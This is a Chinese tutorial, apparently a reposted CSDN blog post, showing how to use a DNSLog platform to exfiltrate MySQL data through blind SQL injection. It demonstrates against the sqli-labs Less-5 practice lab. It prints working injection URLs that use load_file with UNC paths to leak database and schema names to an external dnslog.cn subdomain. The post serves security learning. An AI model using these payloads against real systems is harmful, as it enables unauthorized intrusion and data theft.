DNSLog漏洞探测(七)之SQL注入漏洞实战

DNSLog漏洞探测(七)之SQL注入漏洞实战

在前面的文章之中,我们已经学习了XSS、RCE、XXE、SSRF漏洞中有关于DNSLog平台的使用。这些漏洞本身在执行时就有解析URL地址,发起网络请求的操作,所以只要我们把DNSLog平台获取的子域名地址发送到存在漏洞的服务器上,就会产生DNSLog的解析记录,这样就可以证明该漏洞的存在。

本文我们来学习有关于DNSLog平台有关于SQL注入的利用方式,SQL注入在DNSLog的利用中和XSS、RCE、XXE、SSRF这些漏洞不同,在SQL注入无回显的情况下,我们可以通过DNSLog平台的利用去外带出一些数据库的信息

MySQL load_file函数

在 MySQL 数据库中 load_file函数是用来读取文件的函数,以下是在各系统中读取相应文件的SQL语句

#Windows系统
select load_file('C:/Windows/system.ini');
#Linux系统
select load_file('/etc/hosts');

如果想要在MySQL 数据库读取相应的文件则需要以下的条件:

  1. 需要读取的文件在数据库本机
  2. 用户对文件要有允许访问的权限
  3. 需要读取的文件的大小要小于max_allowed_packet,否则返回NULL

以下是现版本数据库中有关于max_allowed_packet的大小限制,一般默认情况是32MB大小

在这里插入图片描述

secure_file_priv参数

在MySQL 数据库中除了读取文件的操作,还有写入文件的操作。在MySQL 数据库中读写文件都受到secure_file_priv参数的限制,在在MySQL 数据库中secure_file_priv的参数有三种类型,当secure-file-priv=""时,我们可以对任意文件执行导入导出的命令

类型
secure-file-priv=“” 没有任何限制(不安全)
secure-file-priv=“具体文件夹” 只能在指定的文件夹导入导出
secure-file-priv=NULL 不允许导入导出

我们可以在MySQL 数据库中使用以下语句查询该参数的类型

show variables like '%secure_file_priv%';

DNSLog注入步骤(仅支持Windows的MySQL)

首先我们打开DNSLog的平台,点击 Get SubDomain获取一个子域名,这里我们获取到的子域名地址是 9asrrv.dnslog.cn

在这里插入图片描述

然后将需要读取的文件替换为DNSLog平台获取到的子域名地址,这里需要注意的是经过转义之后是\\,是Windows系统里常用的UNC路径的格式,而后面的 /test 是必须要写的,它代表着UNC路径里一个文件夹的名字,当然文件夹的名字可以随你怎么取都行,总而言之正确的格式就是这样。整条语句的意思就是取读取一个文件夹,我们在UNC路径中添加了DNSLog平台的地址,让这条语句在执行时能够去访问我们的DNSLog平台,从而产生解析记录

#原始的payload
select load_file('xxxxx.dnslog.cn/test');
#本文所使用的payload
select load_file('9asrrv.dnslog.cn/test');

接下来我们去执行相应的语句

在这里插入图片描述

现在我们返回DNSLog平台,点击 Refresh Record 刷新,此时DNSLog平台就会产生DNSLog解析记录

在这里插入图片描述

那么这样子就说明如果我们在碰到SQL注入漏洞无回显的情况下,这样我们把这样的语句拼接在有SQL注入漏洞参数的提交点上,不论是get还是post请求,只要服务器执行了这个语句,并在DNSLog平台产生DNSLog解析,就能够证明该漏洞存在。

接下来我们用 sqli-labs的靶场来做个演示,实验中用到的 sqli-labs 靶场是 sqli-labs的第五关

在这里插入图片描述

当我们的参数 id = 1 时页面显示正常,但当我们把参数改为 id = 1‘ 时页面产生了报错

在这里插入图片描述

当我们将参数修改为 id = 1’ --+ 时页面显示正常

在这里插入图片描述

当我们执行了这样的语句时,我们可以判断这里存在SQL注入漏洞,但是它并没有将相关的数据给我们回显出来,这也就是我们常说的SQL注入漏洞无回显的情况,针对这种情况,我们一般是使用盲注的情况用来解题的,但是本文就来教大家如何利用DNSLog平台解决SQL注入漏洞无回显的情况,并且去外带出SQL数据库一些信息出来

首先我们打开DNSLog的平台,点击 Get SubDomain获取一个子域名,这里我们获取到的子域名地址是 900ind.dnslog.cn

在这里插入图片描述

然后向存在SQL漏洞的注入点提交以下的payload

#原始的payload
http://localhost/sqli-labs/Less-5/?id=1' and if((select load_file(concat('','database()','.xxxxx.dnslog.cn/wuya'))),1,0) --+
#本文所使用的payload
http://localhost/sqli-labs/Less-5/?id=1' and if((select load_file(concat('////','database()','.900ind.dnslog.cn/wuya'))),1,0) --+

在这里插入图片描述

现在我们返回DNSLog平台,点击 Refresh Record 刷新,此时DNSLog平台就会产生DNSLog解析记录,并且把当前数据库的库名一并爆了出来

在这里插入图片描述

如果我们想要查询第二个数据库的库名,便可以使用以下的语句去查询

#原始的payload
http://localhost/sqli-labs/Less-5/?id=1' and if((select load_file(concat('',(select schema_name from information_schema.schemata limit 1,1),'.xxxxx.dnslog.cn/test'))),1,0) --+
#本文所使用的payload
http://localhost/sqli-labs/Less-5/?id=1' and if((select load_file(concat('////',(select schema_name from information_schema.schemata limit 1,1),'.900ind.dnslog.cn/wuya'))),1,0) --+

向存在SQL漏洞的注入点提交payload

在这里插入图片描述

现在我们返回DNSLog平台,点击 Refresh Record 刷新,此时DNSLog平台就会产生DNSLog解析记录,并且把第二个数据库的库名一并外带了出来

在这里插入图片描述

总之利用DNSLog平台解决SQL注入无回显的思路就是这么一种思路,至于其如何利用的相关语句就由各位师傅们自由发挥了

猜你喜欢

转载自blog.csdn.net/qq_64973687/article/details/134988713